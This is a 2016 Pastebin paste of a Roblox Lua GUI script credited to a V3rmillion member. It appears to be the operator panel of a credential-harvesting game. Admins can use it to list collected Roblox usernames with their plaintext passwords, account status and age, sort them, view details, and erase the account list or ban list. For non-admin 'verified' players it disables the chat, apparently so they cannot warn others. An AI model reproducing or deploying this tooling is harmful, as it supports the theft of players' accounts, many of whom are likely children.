Guest User

Untitled

a guest
Jun 10th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.47 KB | None | 0 0
  1. -- Made by SeniorFight for V3rmillion and all of it's members!
  2. -- You don't need to change anything here - all is in the options module.
  3.  
  4. local me = script.Parent
  5. local hold = me:WaitForChild("MainFrameHolder")
  6. local main = hold:WaitForChild("MainFrame")
  7.  
  8. local details = main:WaitForChild("DetailsFrame")
  9. local content = main:WaitForChild("Content")
  10. local options = main:WaitForChild("OptionsFrame")
  11.  
  12. local server = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
  13. local config = server:InvokeServer("GetCustomParameters")
  14. if not config.Verifieds.CanChat and server:InvokeServer("IsVerified",game.Players.LocalPlayer) then
  15. if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) and not server:InvokeServer("IsBypass",game.Players.LocalPlayer) then
  16. if config.CreatorUltraProtect then
  17. if not game.Players.LocalPlayer.userId == game.CreatorId then
  18. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  19. end
  20. else
  21. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  22. end
  23. end
  24. end
  25. if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) then
  26. script.Parent:Destroy()
  27. return
  28. end
  29. local signal = me:WaitForChild("SignalCheck")
  30.  
  31. local optoggle = main:WaitForChild("OptToggle")
  32.  
  33. local Filter = {
  34. Mode = 0, -- 0 is <, 1 is >
  35. By = 1, -- 1 is name, 2 is bctype, 3 is age, no pass cuz y need dis?
  36. ByNames = {
  37. "Name",
  38. "BCType",
  39. "Age"
  40. },
  41.  
  42. BCValues = {
  43. ["NON-BC"] = 0,
  44. ["BC"] = 1,
  45. ["TBC"] = 2,
  46. ["OBC"] = 3,
  47. ["V3rm Member"] = -1,
  48. ["Undefined"] = 0
  49. }
  50. }
  51.  
  52. function ShowDetails(data)
  53. if not data then details.Visible = false return end
  54.  
  55. details.UserName.Text = data.UserName
  56. details.UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=150&y=200&format=png&username="..data.UserName
  57. details.UserPass.Text = "Pass: "..data.UserPass
  58. details.UserBCType.Text = "Status: "..data.Type
  59. details.UserID.Text = "ID: "..tostring(data.UserID)
  60. details.UserAge.Text = "Age: "..tostring(data.UserAge) .. " days ~" .. tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  61. details.Visible = true
  62. end
  63.  
  64. details:WaitForChild("HideButton").MouseButton1Click:connect(function()
  65. details.Visible = false
  66. end)
  67.  
  68. function RefreshContent()
  69. local list = server:InvokeServer("GetList")
  70. if list then
  71. content:ClearAllChildren()
  72. local function filtering(a, b)
  73. local par1, par2 = a.UserName, b.UserName
  74. if Filter.By == 2 then
  75. par1 = Filter.BCValues[a.Type] or 0
  76. par2 = Filter.BCValues[b.Type] or 0
  77. elseif Filter.By == 3 then
  78. par1 = a.UserAge
  79. par2 = b.UserAge
  80. end
  81. if Filter.Mode == 0 then
  82. return par1 < par2
  83. else
  84. return par1 > par2
  85. end
  86. end
  87. table.sort(list, filtering)
  88.  
  89. -- Base Form for duplication
  90.  
  91. local form = Instance.new("Frame")
  92. form.BackgroundTransparency = 1
  93. form.Size = UDim2.new(1, 0, 0, 30)
  94.  
  95. local btag = Instance.new("TextLabel")
  96. btag.Size = UDim2.new(0.25, 0, 1, 0)
  97. btag.TextWrapped = true
  98. btag.TextColor3 = Color3.new(0, 170/255, 1)
  99. btag.BackgroundTransparency = 1
  100. btag.Font = Enum.Font.SourceSansBold
  101. btag.FontSize = Enum.FontSize.Size18
  102. btag.TextColor3 = Color3.new(0,0,0)
  103. btag.TextStrokeColor3 = Color3.new(0, 170/255, 1)
  104. btag.TextStrokeTransparency = 0
  105.  
  106. local tag1 = btag:Clone()
  107. tag1.Parent = form
  108. tag1.Name = "NameTag"
  109.  
  110. local tag2 = btag:Clone()
  111. tag2.Parent = form
  112. tag2.Name = "PassTag"
  113. tag2.Position = UDim2.new(0.25, 0, 0, 0)
  114.  
  115. local tag3 = btag:Clone()
  116. tag3.Parent = form
  117. tag3.Name = "TypeTag"
  118. tag3.Position = UDim2.new(0.5, 0, 0, 0)
  119.  
  120. local tag4 = btag:Clone()
  121. tag4.Parent = form
  122. tag4.Name = "AgeTag"
  123. tag4.Position = UDim2.new(0.75, 0, 0, 0)
  124.  
  125. local detail = Instance.new("TextButton", form)
  126. detail.BackgroundTransparency = 1
  127. detail.Text = ""
  128. detail.TextTransparency = 1
  129. detail.Size = UDim2.new(1, 0, 1, 0)
  130. detail.Name = "DetailsButton"
  131.  
  132. for x,data in ipairs(list) do
  133. local newForm = form:Clone()
  134. newForm.Name = "User="..data.UserName..";"
  135. newForm.Position = UDim2.new(0, 0, 0, (30 * x) - 30)
  136.  
  137. newForm.NameTag.Text = data.UserName
  138. newForm.PassTag.Text = data.UserPass
  139. if data.Type == "BC" then
  140. newForm.TypeTag.TextStrokeColor3 = Color3.new(0, 170/255, 0)
  141. elseif data.Type == "TBC" then
  142. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 170/255, 0)
  143. elseif data.Type == "OBC" then
  144. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 0)
  145. elseif data.Type == "V3rm Member" then
  146. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 170/255)
  147. end
  148. newForm.TypeTag.Text = data.Type
  149. newForm.AgeTag.Text = tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  150.  
  151. newForm.DetailsButton.MouseButton1Click:connect(function()
  152. ShowDetails(data)
  153. end)
  154. newForm.Parent = content
  155. end
  156. content.CanvasSize = UDim2.new(0, 0, 0, 30*#list)
  157. content.CanvasPosition = Vector2.new(0, 30*#list)
  158. end
  159. end
  160.  
  161. signal.OnClientInvoke = RefreshContent
  162.  
  163. optoggle.MouseButton1Click:connect(function()
  164. if options.Visible then
  165. options.Visible = false
  166. optoggle.Text = "<"
  167. else
  168. options.Visible = true
  169. optoggle.Text = ">"
  170. end
  171. end)
  172.  
  173. local acterase = options:WaitForChild("ActionErase")
  174. local actbclear = options:WaitForChild("ActionClearBans")
  175. local optfilter = options:WaitForChild("OptionFilter")
  176.  
  177. local eraseconf = false
  178. local eraselock = false
  179. acterase.MouseButton1Click:connect(function()
  180. if eraselock then return end
  181. if not eraseconf then
  182. eraseconf = true
  183. acterase.Text = "Sure ?"
  184. else
  185. eraselock = true
  186. eraseconf = false
  187. coroutine.resume(coroutine.create(function()
  188. while eraselock do
  189. for i=1,3 do
  190. if not eraselock then break end
  191. acterase.Text = "Erasing"..string.rep(".",i)
  192. wait(0.2)
  193. end
  194. end
  195. acterase.Text = "Erase Accounts"
  196. end))
  197. server:InvokeServer("Clear")
  198. eraselock = false
  199. end
  200. end)
  201.  
  202. acterase.MouseLeave:connect(function()
  203. if eraseconf then
  204. eraseconf = false
  205. acterase.Text = "Erase Accounts"
  206. end
  207. end)
  208.  
  209. local bclearconf = false
  210. local bclearlock = false
  211. actbclear.MouseButton1Click:connect(function()
  212. if bclearlock then return end
  213. if not bclearconf then
  214. bclearconf = true
  215. actbclear.Text = "Sure ?"
  216. else
  217. bclearlock = true
  218. bclearconf = false
  219. coroutine.resume(coroutine.create(function()
  220. while bclearlock do
  221. for i=1,3 do
  222. if not bclearlock then break end
  223. actbclear.Text = "Clearing"..string.rep(".",i)
  224. wait(0.2)
  225. end
  226. end
  227. actbclear.Text = "Clear Ban-List"
  228. end))
  229. server:InvokeServer("ClearBans")
  230. bclearlock = false
  231. end
  232. end)
  233.  
  234. actbclear.MouseLeave:connect(function()
  235. if bclearconf then
  236. bclearconf = false
  237. actbclear.Text = "Clear Ban-List"
  238. end
  239. end)
  240.  
  241. function UpdateFilterBtn()
  242. optfilter.Text = "Filter by: ".. Filter.ByNames[Filter.By] .. " " .. (Filter.Mode == 0 and "<" or ">")
  243. RefreshContent()
  244. end
  245. UpdateFilterBtn()
  246.  
  247. optfilter.MouseButton1Click:connect(function()
  248. if Filter.Mode == 0 then
  249. Filter.Mode = 1
  250. else
  251. Filter.Mode = 0
  252. if Filter.By < 3 then
  253. Filter.By = Filter.By + 1
  254. else
  255. Filter.By = 1
  256. end
  257. end
  258. UpdateFilterBtn()
  259. end)
  260.  
  261. optfilter.MouseButton2Click:connect(function()
  262. if Filter.Mode == 1 then
  263. Filter.Mode = 0
  264. else
  265. Filter.Mode = 1
  266. if Filter.By > 1 then
  267. Filter.By = Filter.By - 1
  268. else
  269. Filter.By = 3
  270. end
  271. end
  272. UpdateFilterBtn()
  273. end)
  274.  
  275. me:WaitForChild("GUIToggle").Visible = true
  276. me.GUIToggle.MouseButton1Click:connect(function()
  277. hold.Visible = not hold.Visible
  278. end)
Add Comment
Please, Sign In to add comment